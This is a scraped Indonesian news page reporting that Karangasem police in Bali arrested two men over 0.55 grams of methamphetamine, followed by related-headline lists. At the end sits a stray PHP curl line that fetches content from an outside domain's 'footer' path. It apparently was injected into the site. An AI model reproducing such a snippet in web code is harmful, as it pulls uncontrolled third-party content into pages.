Polres Karangasem Ungkap Kasus Narkoba, Dua Tersangka Ditangkap

Rabu, 21 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Polda Bali – Polres Karangasem | jejakkasus.info – Polres Karangasem berhasil mengungkap kasus peredaran narkotika jenis sabu-sabu di wilayah Kecamatan Karangasem. Pengungkapan ini disampaikan langsung oleh Kapolres Karangasem, AKBP I Nengah Sadiarta, S.I.K., S.H., M.K.P., dalam konferensi pers atau Press Release yang digelar pada Rabu (20/8/2024).

Berdasarkan Laporan Polisi Nomor LP-A/17/VI/2024/SPKT/RESNARKOBA/POLRESKR.ASEM/POLDA BALI tertanggal 20 Juli 2024, penangkapan dilakukan terhadap dua tersangka berinisial MR alias R dan FHA alias F yang berperan sebagai perantara. Lokasi penangkapan berada di sebuah gang di samping SDN 1 Krasem, Jalan Gatot Subroto, Lingkungan Karangtohpati, Kelurahan Krasem, Kecamatan Krasem.

Baca Juga:  Polri Gelar Upacara Korps Raport Tujuh Jenderal

Dalam penggerebekan tersebut, petugas berhasil menyita barang bukti berupa dua buah plastik klip bening yang berisi serbuk kristal diduga narkotika jenis sabu-sabu. Total berat bruto barang bukti mencapai 0,75 gram dengan berat netto 0,55 gram.

Baca Juga:  Blue Light Patrol Unit Samapta Polsek Kuta Utara Sambangi Pegadaian Dan Pertokoan

Kedua tersangka dijerat dengan Pasal 112 Ayat (1) jo Pasal 132 Ayat (1) Undang-Undang Republik Indonesia Nomor 35 Tahun 2009 tentang Narkotika. Ancaman hukuman bagi para tersangka adalah pidana penjara paling singkat 4 tahun dan paling lama 12 tahun, serta denda paling sedikit Rp 800 juta dan paling banyak Rp 8 miliar.

Baca Juga:  Polres Gianyar Siapkan Personel Untuk Amankan Ibadah Minggu Umat Kristen

Kapolres Karangasem menegaskan bahwa pihaknya akan terus melakukan upaya pemberantasan peredaran narkoba di wilayah Karangasem. “Kami mengimbau masyarakat untuk terus waspada dan melaporkan jika ada indikasi penyalahgunaan narkoba di lingkungan sekitar,” ujar AKBP I Nengah Sadiarta.

Kasus ini masih dalam proses penyidikan lebih lanjut untuk mengungkap kemungkinan adanya jaringan yang lebih besar di balik peredaran narkoba tersebut.

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Tingkatkan Ketaqwaan KPH Perum Perhutani Bondowoso Adakanaulid Nabi dan Berikan Santunan Pada Anak Yatim
Empat Tahun Peristiwa Kematian Saputra Fibriansyah, Polres Gresik Mulai Buka Penyelidikan Baru
Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga
Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024
Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.
Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024
Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU
Menjelang Pilkada Kabupaten Sidoarjo Bhabinkamtibmas Polsek Tanggulangin Adakan Dialog Dengan Tokoh Agama Dan Masyarakat.

Berita Terkait

Jumat, 20 September 2024 - 17:35 WIB

Tingkatkan Ketaqwaan KPH Perum Perhutani Bondowoso Adakanaulid Nabi dan Berikan Santunan Pada Anak Yatim

Jumat, 20 September 2024 - 15:01 WIB

Empat Tahun Peristiwa Kematian Saputra Fibriansyah, Polres Gresik Mulai Buka Penyelidikan Baru

Jumat, 20 September 2024 - 11:01 WIB

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga

Jumat, 20 September 2024 - 10:59 WIB

Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024

Jumat, 20 September 2024 - 10:57 WIB

Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>